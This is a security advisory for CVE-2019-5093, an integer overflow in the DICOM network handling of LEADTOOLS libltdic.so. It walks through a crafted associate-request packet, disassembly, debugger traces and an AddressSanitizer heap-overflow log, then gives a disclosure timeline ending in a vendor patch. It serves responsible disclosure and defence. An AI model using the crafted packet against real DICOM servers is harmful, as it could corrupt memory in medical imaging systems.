CVE-2019-5093
An exploitable code execution vulnerability exists in the DICOM network response functionality of LEADTOOLS libltdic.so version 20.0.2019.3.15. A specially crafted packet can cause an integer overflow, resulting in heap corruption. An attacker can send a packet to trigger this vulnerability.
LEADTOOLS libltdic.so 20.0.2019.3.15
8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-190: Integer Overflow or Wraparound
LEADTOOLS, according to the website, “is a collection of comprehensive toolkits to integrate document, medical, multimedia, and imaging technologies into desktop, server, tablet, and mobile applications.” It offers prebuilt and portable libraries with an SDK for most platforms (Windows, Linux, Android, etc), that are all geared toward building applications for medical systems.
For the purposes of this post, we will be discussing LEADTOOLS’ DICOM network protocol code, which is mainly used for transferring and viewing medical image information remotely.
When dealing with the LEADTOOLS DICOM code, the main function that actually leads to network library code is L_LTDIC_API L_INT L_DicomListen(hNet, pszHostAddress, nHostPort, nNbPeers)
. This function will take an initialized piece of memory (hNet), an IP address and port to listen on (pszHostAddress/nHostPort), a max amount of peers to listen to (nNbPeers), and then spin up a network server that implements the actual network logic. For dealing with certain predefined function types, callbacks are created and then assigned to predefined hooks within the hNet
object, for example, when looking through the SDK’s example code:
void OnReceiveAssociateRequest(HDICOMNET dicomNet, HDICOMPDU dicomPDU, void *userData)
void OnReceiveCEchoRequest(HDICOMNET dicomNet, L_UCHAR presentationID, L_UINT16 messageID, L_TCHAR *className, void *userData)
[..]
Since the listed functions are, in the end, up to the developers to implement, they are not really valid targets, but in order to get to these callbacks, there is still a bit of code connecting the packet read to the callback hooks found in the libltdic.so library.
Since LEADTOOLS’ middleware libraries are not open-source, we must examine the disassembly of a singular function to proceed. After passing the first six bytes of the packet, which are the opcode and size of the input, we end up hitting a jumptable of the opcodes inside LDicomNet::Receive(int flag?,uchar opcode,uchar *buffer,uint buffer_len)
, which is:
PDU_UNKNOWN [0x00] Unknown data sent.
PDU_ASSOCIATE_REQUEST [0x01] Associate Request message sent
PDU_ASSOCIATE_ACCEPT [0x02] Associate Accept message sent
PDU_ASSOCIATE_REJECT [0x03] Associate Reject message sent
PDU_DATA_TRANSFER [0x04] Data transfer made.
PDU_RELEASE_REQUEST [0x05] Release Request message sent
PDU_RELEASE_RESPONSE [0x06] Release Response message sent
PDU_ABORT [0x07] Abort message sent.
For the remainder of the writeup, we will focus on the opcode PDU_ASSOCIATE_REQUEST
. https://www.leadtools.com/help/leadtools/v20/dicom/api/associate-request-pdu.html A sample request looks something like this:
associate=""
associate+='\x01\x00\x00\x00\x01\x00\x00\x01\x00\x00LEAD_SERVER aaaaaaaaaabbbbbbbbbbbbbb' +\
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
associate+='\x10\x00\x00\x151.2.840.10008.3.1.1.1' // [1]
associate+='\x20\x00\x00\x38\x01\x00\x00\x00'
associate+='\x30\x00\x00\x1b1.2.840.10008.5.1.4.1.2.1.1'
associate+='\x40\x00\x00\x111.2.840.10008.1.2'
associate+='\x20\x00\x00\x38\x03\x00\x00\x00' // [2]
associate+='\x30\x00\x00\x1b1.2.840.10008.5.1.4.1.2.2.1'
associate+='\x40\x00\x00\x111.2.840.10008.1.2'
// [3]
associate+='\x50\x00\x00\x27'
associate+='\x51\x00\x00\x04\x00\x00\xab\xcd' // [4]
associate+='\x52\x00\x00\x161.2.840.114257.1123465'
associate+='\x55\x00\x00\x01\x31'
At [1] and [2] we have Presentation Contexts
, and then at [3], we enter the User Data
section of the request, which is the most important part, as it defines some of the parameters for any data we wish to transfer in the future. As per the spec linked above, the message component at [4] defines the User data’s max length, which is rather arbitrary. Eventually, assuming the rest of the request is valid, the max length field is read into a LDicomAssociate
object at the following disassembly:
Thread 2 hit Hardware watchpoint 3: -location *0x62700000ac60
Old value = 0x4000
New value = 0xabcd // [1]
0x00007f2c61ec4946 in LDicomAssociate::SetBinary(char*, unsigned int*, LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
-------------------------------------------------------------------------[ boop ]----
0x7f2c61ec4930 <LDicomAssociate::SetBinary(char*,+0> shl edx, 0x8
0x7f2c61ec4933 <LDicomAssociate::SetBinary(char*,+0> or eax, edx
0x7f2c61ec4935 <LDicomAssociate::SetBinary(char*,+0> movzx edx, BYTE PTR [r15+r8*1+0x1]
0x7f2c61ec493b <LDicomAssociate::SetBinary(char*,+0> shl edx, 0x10
0x7f2c61ec493e <LDicomAssociate::SetBinary(char*,+0> or eax, edx
->0x7f2c61ec4940 <LDicomAssociate::SetBinary(char*,+0> mov DWORD PTR [rbp+0xd0], eax // [2]
0x7f2c61ec4946 <LDicomAssociate::SetBinary(char*,+0> jmp 0x7f2c61ec4790 <_ZN15LDicomAssociate9SetBinaryEPcPjPS_+1088>
0x7f2c61ec494b <LDicomAssociate::SetBinary(char*,+0> nop DWORD PTR [rax+rax*1+0x0]
0x7f2c61ec4950 <LDicomAssociate::SetBinary(char*,+0> movzx eax, BYTE PTR [r15+r8*1]
0x7f2c61ec4955 <LDicomAssociate::SetBinary(char*,+0> movzx ebx, BYTE PTR [r15+r8*1+0x1]
0x7f2c61ec495b <LDicomAssociate::SetBinary(char*,+0> mov DWORD PTR [rsp+0x28], ecx
-----------------------------------------------------------------------------[ trace ]----
#0 0x00007f2c61ec4940 in LDicomAssociate::SetBinary(char*, unsigned int*, LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#1 0x00007f2c61f13e1f in LDicomNet::SendAssociateAccept(LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#2 0x000055af0fddbed2 in OnReceiveAssociateRequest (dicomNet=0x62700000a900, dicomPDU=0x62700000aa20, userData=0x0) at Client.c:124
#3 0x00007f2c61f1b82e in LDicomNet::Receive(int, unsigned char, unsigned char*, unsigned int) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#4 0x00007f2c61f1bf89 in ?? () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
At [1], we see the value 0xabcd
taken from our packet and written to [rbp+d0]
, which corresponds to the m_bMaxLength
field of our object at [3]:
class L_LTDIC_CLASS LDicomAssociate {
public:
LDicomAssociate(L_BOOL bRequest);
~LDicomAssociate();
[...]
private:
friend class LDicomNet;
L_BOOL m_bRequest;
L_UINT16 m_nVersion;
L_CHAR m_szCalled[PDU_MAX_TITLE_SIZE+1]; // 0x40+1(+3 align => 0x44)
L_CHAR m_szCalling[PDU_MAX_TITLE_SIZE+1]; // 0x40+1(+3 align)
L_CHAR m_szApplication[PDU_MAX_UID_SIZE+1]; // 0x40+1(+3 align)
L_BOOL m_bMaxLength;
L_UINT32 m_nMaxLength; // [3]
[...]
Eventually, when the server sends us the data that we request, it reads out the m_bMaxLength
field of our LDicomAssociate
request…:
# where the read occurs
-------------------------------------------------------------------------[ boop ]----
0x7f2c61ec4933 <LDicomAssociate::SetBinary(char*,+0> or eax, edx
0x7f2c61ec4935 <LDicomAssociate::SetBinary(char*,+0> movzx edx, BYTE PTR [r15+r8*1+0x1]
0x7f2c61ec493b <LDicomAssociate::SetBinary(char*,+0> shl edx, 0x10
0x7f2c61ec493e <LDicomAssociate::SetBinary(char*,+0> or eax, edx
->0x7f2c61ec4940 <LDicomAssociate::SetBinary(char*,+0> mov DWORD PTR [rbp+0xd0], eax
0x7f2c61ec4946 <LDicomAssociate::SetBinary(char*,+0> jmp 0x7f2c61ec4790 <_ZN15LDicomAssociate9SetBinaryEPcPjPS_+1088>
0x7f2c61ec494b <LDicomAssociate::SetBinary(char*,+0> nop DWORD PTR [rax+rax*1+0x0]
0x7f2c61ec4950 <LDicomAssociate::SetBinary(char*,+0> movzx eax, BYTE PTR [r15+r8*1]
0x7f2c61ec4955 <LDicomAssociate::SetBinary(char*,+0> movzx ebx, BYTE PTR [r15+r8*1+0x1]
0x7f2c61ec495b <LDicomAssociate::SetBinary(char*,+0> mov DWORD PTR [rsp+0x28], ecx
-----------------------------------------------------------------------------[ trace ]----
#0 0x00007f2c61ec4946 in LDicomAssociate::SetBinary(char*, unsigned int*, LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#1 0x00007f2c61f13e1f in LDicomNet::SendAssociateAccept(LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#2 0x000055af0fddbed2 in OnReceiveAssociateRequest (dicomNet=0x62700000a900, dicomPDU=0x62700000aa20, userData=0x0) at Client.c:124
#3 0x00007f2c61f1b82e in LDicomNet::Receive(int, unsigned char, unsigned char*, unsigned int) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#4 0x00007f2c61f1bf89 in ?? () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
<(^_^)> x/1wx $rdi+0xd0
0x62700000ac60: 0xabcd
… in order to allocate a large enough buffer to hold the size that we requested:
.text:00007F2C61F14224 loc_7F2C61F14224: ; CODE XREF: LDicomNet::SendData(int,uchar,LDicomDS *)+14F↑j
.text:00007F2C61F14224 mov rdi, r15 //[1]
.text:00007F2C61F14227 call __ZN15LDicomAssociate12GetMaxLengthEv ; LDicomAssociate::GetMaxLength(void)
.text:00007F2C61F1422C lea rdi, [rbx+120h]
.text:00007F2C61F14233 mov r15d, eax //[2]
.text:00007F2C61F14236 call __ZN15LDicomAssociate12GetMaxLengthEv ; LDicomAssociate::GetMaxLength(void)
.text:00007F2C61F1423B cmp eax, r15d
.text:00007F2C61F1423E cmovbe r15d, eax //[3]
.text:00007F2C61F14242 test r15d, r15d
.text:00007F2C61F14245 jz loc_7F2C61F140B5
.text:00007F2C61F1424B lea rax, l_local_alloc
.text:00007F2C61F14252 lea edi, [r15+6] //[4]
.text:00007F2C61F14256 lea rcx, aHomeDevLeadtoo_14 ; "/home/DEV.LEADTOOLS.LOCAL/ike/srcM/LEAD"...
.text:00007F2C61F1425D mov edx, 12BDh
.text:00007F2C61F14262 mov esi, 1
.text:00007F2C61F14267 call qword ptr [rax] //[5]
.text:00007F2C61F14269 mov alloced, rax
.text:00007F2C61F1426C jmp loc_7F2C61F140DC
.text:00007F2C61F1426C _ZN9LDicomNet8SendDataEihP8LDicomDS endp
The server first grabs the LDicomServer Response that it generated (in response to our request) and grabs the response’s m_nMaxLegth
at [1]. It then repeats this process for the request that we first sent at [2], and takes the minimum of both at [3] to figure out how much space to allocate at [5] for the actual data transfer. Assuming that the lesser size is not 0x0 (because then the allocation size is based off filesize
), then the result size is equivalent to min(OurAssociateRequest.GetMaxLength(),ServerAssociateResponse.GetMaxLength())+6
. Thus, if at any point in the code flow, the AssociateResponse’s max length is set to ours, like so:
// Leadtools/Examples/Linux/C/DicomServer/Client.c
void OnReceiveAssociateRequest(HDICOMNET dicomNet, HDICOMPDU dicomPDU, void *userData)
{
L_TCHAR calling[1024] = "";
L_TCHAR called[1024] = "";
HDICOMPDU associate;
[...]
if(L_DicomIsMaxLength(dicomPDU))
L_DicomSetMaxLength(associate, 1, L_DicomGetMaxLength(dicomPDU));
Then the allocation size is user controlled, as both the OurAssociateRequest
and the ServerAssociateResponse
have the same length.
Assuming this is true, an attacker could set the length of the response to be 0xFFFFFFFF, which would result in an integer overflow when added with six. The newly created heap chunk would be of size 0x4 or 0x8 (due to alignment/heap library used), and then the chunk would be populated with the following assembly:
mov ecx, [rsp+58h+alocation_size_read] ; 0xfffffff8
mov edx, [rsp+58h+var_54]
mov rdi, rbp ; this
mov rsi, [rsp+58h+var_50] ; chunk+0xC
cmp r14d, ecx // [1]
mov r13d, ecx
cmovbe r13d, r14d // r14d => requested file size (0x58)
test edx, edx
lea eax, [r13+6]
setnz dl
cmp ecx, r14d
[...]
or eax, edx
mov edx, r13d // 0x58 on 0x4/0x8 chunk
mov [alloced+0Bh], al
call __ZN10LDicomFile4ReadEPvj ; LDicomFile::Read(void *,uint) // [2]
The server makes one last sanity check of how much to read into the buffer at [1], and in the event that our proposed length (0xFFFFFFF8) is larger than the size of the file requested, the smaller size is appropriately used for final LDicomFile::Read
at [2], resulting in an integer overflow of the size and contents of the requested file:
L_BOOL Read (L_VOID *pBuffer, L_UINT32 nLength);
-------------------------------------------------------------------------[ boop ]----
0x7f2c61f141c2 <LDicomNet::SendData(int,+0> shl bh, 0xd0
0x7f2c61f141c5 <LDicomNet::SendData(int,+0> and eax, 0x2
0x7f2c61f141c8 <LDicomNet::SendData(int,+0> or eax, edx
0x7f2c61f141ca <LDicomNet::SendData(int,+0> mov edx, r13d
0x7f2c61f141cd <LDicomNet::SendData(int,+0> mov BYTE PTR [r12+0xb], al
->0x7f2c61f141d2 <LDicomNet::SendData(int,+0> call 0x7f2c61ec0390 <_ZN10LDicomFile4ReadEPvj@plt>
\-> 0x7f2c61ec0390 <LDicomFile::Read(void*,+0> jmp QWORD PTR [rip+0x3f285a] # 0x7f2c622b2bf0 <_ZN10LDicomFile4ReadEPvj@got.plt>
0x7f2c61ec0396 <LDicomFile::Read(void*,+0> push 0x3f6
0x7f2c61ec039b <LDicomFile::Read(void*,+0> jmp 0x7f2c61ebc420
0x7f2c61ec03a0 <LDicomDS::CallCountLUTColors(tagRGBQUAD*,+0> jmp QWORD PTR [rip+0x3f2852] # 0x7f2c622b2bf8 <_ZN8LDicomDS18CallCountLUTColorsEP10tagRGBQUADjPjPij@got.plt>
0x7f2c61ec03a6 <LDicomDS::CallCountLUTColors(tagRGBQUAD*,+0> push 0x3f7
0x7f2c61ec03ab <LDicomDS::CallCountLUTColors(tagRGBQUAD*,+0> jmp 0x7f2c61ebc420
-----------------------------------------------------------------------------[ trace ]----
#0 0x00007f2c61f141d2 in LDicomNet::SendData(int, unsigned char, LDicomDS*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#1 0x00007f2c61f17ef6 in LDicomNet::SendCFindResponse(unsigned char, unsigned short, char*, unsigned short, LDicomDS*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#2 0x000055af0fde6f8e in find_studies (dicomClient=0x62700000a900, reqIdentifier=0x625000028100, presentationID=0x3, messageID=0x1, className=0x603000998e00 "1.2.840.10008.5.1.4.1.2.2.1", user=0x7f2c5c53b530 "aaaaaaaaaabbbbbb", patientRoot=0x0) at Common/Db.c:1517
#3 0x000055af0fddc873 in OnReceiveCFindRequest (dicomNet=0x62700000a900, presentationID=0x3, messageID=0x1, className=0x603000998e00 "1.2.840.10008.5.1.4.1.2.2.1", priority=0x0, dicomDS=0x625000028100, userData=0x0) at Client.c:249
#4 0x00007f2c61f0fee8 in LDicomNet::OnReceiveCFindRequest(unsigned char, unsigned short, char*, unsigned short, LDicomDS*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
------------------------------------------------------------------------------------------
<(^_^)> info reg rdi rsi rdx rcx
rdi 0x62700000ad00 0x62700000ad00
rsi 0x60200033813c 0x60200033813c
rdx 0x58 0x58
C-FIND-REQUEST received from aaaaaaaaaabbbbbb=================================================================
==20130==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200033813c at pc 0x7f2c62c90d7b bp 0x7f2c5c53a4b0 sp 0x7f2c5c539c60
WRITE of size 88 at 0x60200033813c thread T1
#0 0x7f2c62c90d7a (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cd7a)
#1 0x7f2c62788666 (/boop/doop/Leadtools/Bin/Lib/x64/libltkrn.so.20+0x120666)
#2 0x7f2c62760cde (/boop/doop/Leadtools/Bin/Lib/x64/libltkrn.so.20+0xf8cde)
#3 0x7f2c61f4958c in LDicomFile::Read(void*, unsigned int) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x22958c)
#4 0x7f2c61f141d6 in LDicomNet::SendData(int, unsigned char, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1f41d6)
#5 0x7f2c61f17ef5 in LDicomNet::SendCFindResponse(unsigned char, unsigned short, char*, unsigned short, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1f7ef5)
#6 0x55af0fde6f8d in find_studies Common/Db.c:1517
#7 0x55af0fddc872 in OnReceiveCFindRequest /boop/doop/Leadtools/Examples/Linux/C/DicomServer/Client.c:249
#8 0x7f2c61f0fee7 in LDicomNet::OnReceiveCFindRequest(unsigned char, unsigned short, char*, unsigned short, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1efee7)
#9 0x7f2c61f1af33 in LDicomNet::ReceiveData(unsigned char, LDicomDS*, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1faf33)
#10 0x7f2c61f1b6eb in LDicomNet::Receive(int, unsigned char, unsigned char*, unsigned int) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1fb6eb)
#11 0x7f2c61f1bf88 (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1fbf88)
#12 0x7f2c603404a3 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x74a3)
#13 0x7f2c60a4ad0e in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xe8d0e)
0x60200033813c is located 8 bytes to the right of 4-byte region [0x602000338130,0x602000338134)
allocated by thread T1 here:
#0 0x7f2c62cf5d28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7f2c61f14268 in LDicomNet::SendData(int, unsigned char, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1f4268)
Thread T1 created by T0 here:
#0 0x7f2c62c64f59 in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x30f59)
#1 0x7f2c61f1772c in LDicomNet::Listen(char*, unsigned int, int, int) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1f772c)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cd7a)
Shadow bytes around the buggy address:
0x0c048005efd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c048005efe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c048005eff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c048005f000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c048005f010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c048005f020: fa fa fa fa fa fa 04[fa]fa fa 00 fa fa fa 00 07
0x0c048005f030: fa fa fd fd fa fa 00 00 fa fa 00 00 fa fa 00 fa
0x0c048005f040: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c048005f050: fa fa fd fa fa fa fd fa fa fa 00 fa fa fa 00 fa
0x0c048005f060: fa fa 04 fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c048005f070: fa fa fd fa fa fa 00 fa fa fa 00 fa fa fa 04 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==20130==ABORTING
2019-08-08 - Vendor Disclosure
2019-09-06 - 30 day follow up with vendor re: case number assigned
2019-09-09 - Vendor acknowledged issue under review
2019-10-21 - 60+ day follow up
2019-12-05 - Vendor patched
2019-12-10 - Public Release
Discovered by Lilith [;_;] of Cisco Talos.